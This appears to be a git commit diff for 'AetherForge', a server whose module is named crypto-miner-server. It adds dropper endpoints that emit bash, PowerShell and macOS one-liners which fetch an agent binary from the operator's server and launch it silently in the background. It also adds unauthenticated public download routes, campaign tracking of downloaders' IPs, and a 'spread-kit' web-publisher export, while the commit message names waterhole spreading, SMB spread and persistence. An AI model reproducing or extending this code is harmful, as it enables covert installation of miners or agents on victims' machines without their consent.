feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -17,6 +17,9 @@ import (
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
|
||||
//
|
||||
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
|
||||
}
|
||||
}
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
func dropperQueryParts(r *http.Request) []string {
|
||||
q := r.URL.Query()
|
||||
var parts []string
|
||||
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
|
||||
parts = append(parts, "pin="+pin)
|
||||
}
|
||||
if c := strings.TrimSpace(q.Get("c")); c != "" {
|
||||
parts = append(parts, "c="+c)
|
||||
}
|
||||
return parts
|
||||
}
|
||||
|
||||
func (h *DropperHandler) querySuffix(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "?" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
|
||||
parts := dropperQueryParts(r)
|
||||
if len(parts) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "&" + strings.Join(parts, "&")
|
||||
}
|
||||
|
||||
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
|
||||
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
|
||||
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
|
||||
b, err := h.db.GetBuild(pin)
|
||||
if err == nil && b != nil {
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
platform := detectPlatform(r)
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
|
||||
break
|
||||
path, name := resolveDropperArtifact(h.dataDir, b)
|
||||
return b, path, name
|
||||
}
|
||||
}
|
||||
return nil, "", ""
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
b, buildPath, buildName := h.resolveDropperBuild(r)
|
||||
if b != nil {
|
||||
h.logCampaign(r, b.ID, "get")
|
||||
}
|
||||
if buildPath == "" {
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
func campaignEnvBlock(campaign string) string {
|
||||
if campaign == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.sh")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge agent installer
|
||||
@@ -109,6 +167,7 @@ set -e
|
||||
|
||||
die() { echo "[!] $*" >&2; exit 1; }
|
||||
|
||||
%s
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
|
||||
|
||||
# Download and verify we got a real file, not a 404 page.
|
||||
# Note: double-quotes around URL so $OS is expanded by the shell.
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
|
||||
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
|
||||
if [ "$HTTP_CODE" != "200" ]; then
|
||||
cat "$DEST" >&2
|
||||
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
|
||||
@@ -152,7 +211,7 @@ chmod +x "$DEST"
|
||||
echo "[*] Launching agent..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
|
||||
`, base)
|
||||
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.ps1")
|
||||
|
||||
// Build script as a regular string — backtick in Go raw strings conflicts
|
||||
// with PowerShell's escape character.
|
||||
bt := "`"
|
||||
nl := "\r\n"
|
||||
|
||||
campaignBlock := ""
|
||||
if campaign != "" {
|
||||
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
|
||||
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
|
||||
}
|
||||
|
||||
script := "# AetherForge dropper" + nl +
|
||||
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
||||
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
||||
"$url = '" + base + "/get?os=windows'" + nl +
|
||||
campaignBlock +
|
||||
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
||||
"try {" + nl +
|
||||
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
||||
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
|
||||
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.resolveBase(r)
|
||||
suffix := h.querySuffix(r)
|
||||
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
|
||||
h.logCampaign(r, "", "install.command")
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/bash
|
||||
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
|
||||
set -e
|
||||
%[2]s
|
||||
curl -sL '%[1]s/install.sh%[3]s' | bash
|
||||
`, base, campaignEnvBlock(campaign), suffix)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// resolveBase returns the public base URL for script generation, falling back
|
||||
// to the request's Host header when no public URL is configured.
|
||||
func (h *DropperHandler) resolveBase(r *http.Request) string {
|
||||
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
148
server/internal/api/public_handler.go
Normal file
148
server/internal/api/public_handler.go
Normal file
@@ -0,0 +1,148 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// PublicBuildsConfig supplies public-download policy from server config.
|
||||
type PublicBuildsConfig struct {
|
||||
Enabled bool
|
||||
LatestN int
|
||||
}
|
||||
|
||||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||||
type PublicHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
}
|
||||
|
||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||||
}
|
||||
|
||||
type publicBuildDTO struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Platform string `json:"platform"`
|
||||
FileName string `json:"file_name"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
DownloadURL string `json:"download_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Pinned bool `json:"pinned"`
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
|
||||
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
||||
dl := b.DownloadURL
|
||||
if dl == "" {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
||||
// Rewrite authenticated artifact path to public when listed
|
||||
if strings.Contains(dl, "/artifact/") {
|
||||
parts := strings.Split(dl, "/artifact/")
|
||||
if len(parts) == 2 {
|
||||
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
||||
}
|
||||
} else {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
}
|
||||
}
|
||||
return publicBuildDTO{
|
||||
ID: b.ID,
|
||||
WorkerName: b.WorkerName,
|
||||
Platform: b.Platform,
|
||||
FileName: b.FileName,
|
||||
FileSize: b.FileSize,
|
||||
BundleSize: b.BundleSize,
|
||||
DownloadURL: dl,
|
||||
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
||||
Pinned: b.Pinned,
|
||||
Public: b.Public,
|
||||
}
|
||||
}
|
||||
|
||||
// GET /api/v1/public/builds
|
||||
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.configFn()
|
||||
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dtos := make([]publicBuildDTO, 0, len(builds))
|
||||
for _, b := range builds {
|
||||
dtos = append(dtos, toPublicBuildDTO(b))
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"builds": dtos,
|
||||
"public_builds_enabled": cfg.Enabled,
|
||||
"latest_n": cfg.LatestN,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/public/download/{id}
|
||||
// GET /api/v1/public/download/{id}/artifact/{name}
|
||||
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "build id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cfg := h.configFn()
|
||||
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
||||
if err != nil || !ok {
|
||||
http.Error(w, "build not available for public download", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
|
||||
}
|
||||
|
||||
build, err := h.db.GetBuild(id)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
artifactName := chi.URLParam(r, "name")
|
||||
if artifactName != "" {
|
||||
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
return
|
||||
}
|
||||
|
||||
path, name := resolveDropperArtifact(h.dataDir, build)
|
||||
if path == "" {
|
||||
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
ip = r.RemoteAddr
|
||||
}
|
||||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||||
ip = ip[:idx]
|
||||
}
|
||||
return ip
|
||||
}
|
||||
90
server/internal/api/public_handler_test.go
Normal file
90
server/internal/api/public_handler_test.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestPublicHandlerListAndDownload(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
buildID := "pub-build-1"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rec := &models.BuildRecord{
|
||||
ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
|
||||
Platform: "windows", CreatedAt: time.Now(), Pinned: true,
|
||||
}
|
||||
if err := database.InsertBuild(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.SetPinnedBuild(buildID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
|
||||
return PublicBuildsConfig{Enabled: false, LatestN: 3}
|
||||
})
|
||||
|
||||
listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
|
||||
listRec := httptest.NewRecorder()
|
||||
h.ListBuilds(listRec, listReq)
|
||||
if listRec.Code != http.StatusOK {
|
||||
t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
|
||||
}
|
||||
var listBody struct {
|
||||
Builds []publicBuildDTO `json:"builds"`
|
||||
}
|
||||
if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listBody.Builds) == 0 {
|
||||
t.Fatal("expected pinned build in public list")
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Get("/public/download/{id}", h.Download)
|
||||
dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
|
||||
dlRec := httptest.NewRecorder()
|
||||
r.ServeHTTP(dlRec, dlReq)
|
||||
if dlRec.Code != http.StatusOK {
|
||||
t.Fatalf("download status %d", dlRec.Code)
|
||||
}
|
||||
|
||||
hits, err := database.ListCampaignHits(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, hit := range hits {
|
||||
if hit.Campaign == "test-camp" {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("expected campaign hit logged for public download")
|
||||
}
|
||||
}
|
||||
@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
strings.HasPrefix(path, "/api/v1/public/") {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Put("/builds/{id}/pin", h.PinBuild)
|
||||
if spreadHandler != nil {
|
||||
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
|
||||
}
|
||||
r.Delete("/builds/pin", h.UnpinAll)
|
||||
r.Delete("/builds/{id}", h.DeleteBuild)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
if spreadHandler != nil {
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
}
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
219
server/internal/api/spread_handler.go
Normal file
219
server/internal/api/spread_handler.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||
type SpreadHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) notesPath() string {
|
||||
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
||||
}
|
||||
|
||||
type emberwakeNotes struct {
|
||||
Content string `json:"content"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by"`
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
||||
h.notesMu.RLock()
|
||||
defer h.notesMu.RUnlock()
|
||||
data, err := os.ReadFile(h.notesPath())
|
||||
if err != nil {
|
||||
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
||||
}
|
||||
var n emberwakeNotes
|
||||
if json.Unmarshal(data, &n) != nil {
|
||||
return emberwakeNotes{}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
||||
h.notesMu.Lock()
|
||||
defer h.notesMu.Unlock()
|
||||
data, err := json.MarshalIndent(n, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(h.notesPath(), data, 0644)
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/notes
|
||||
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, h.readNotes())
|
||||
}
|
||||
|
||||
// PUT /api/v1/emberwake/notes
|
||||
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Content string `json:"content"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
n := emberwakeNotes{
|
||||
Content: body.Content,
|
||||
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
UpdatedBy: AuthUsername(r),
|
||||
}
|
||||
if err := h.writeNotes(n); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if h.wsHub != nil {
|
||||
h.wsHub.BroadcastEmberwakeNotes(n)
|
||||
}
|
||||
writeJSON(w, n)
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/campaigns
|
||||
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
hits, err := h.db.ListCampaignHits(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if hits == nil {
|
||||
hits = []dbpkg.CampaignHitSummary{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
||||
}
|
||||
|
||||
type spreadKitExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
var qparts []string
|
||||
if req.BuildID != "" {
|
||||
qparts = append(qparts, "pin="+req.BuildID)
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
qparts = append(qparts, "c="+req.Campaign)
|
||||
}
|
||||
querySuffix := ""
|
||||
getQuerySuffix := ""
|
||||
if len(qparts) > 0 {
|
||||
joined := strings.Join(qparts, "&")
|
||||
querySuffix = "?" + joined
|
||||
getQuerySuffix = "&" + joined
|
||||
}
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{CAMPAIGN_QUERY}}": querySuffix,
|
||||
"{{PIN_QUERY}}": "",
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(templateDir, path)
|
||||
if err != nil {
|
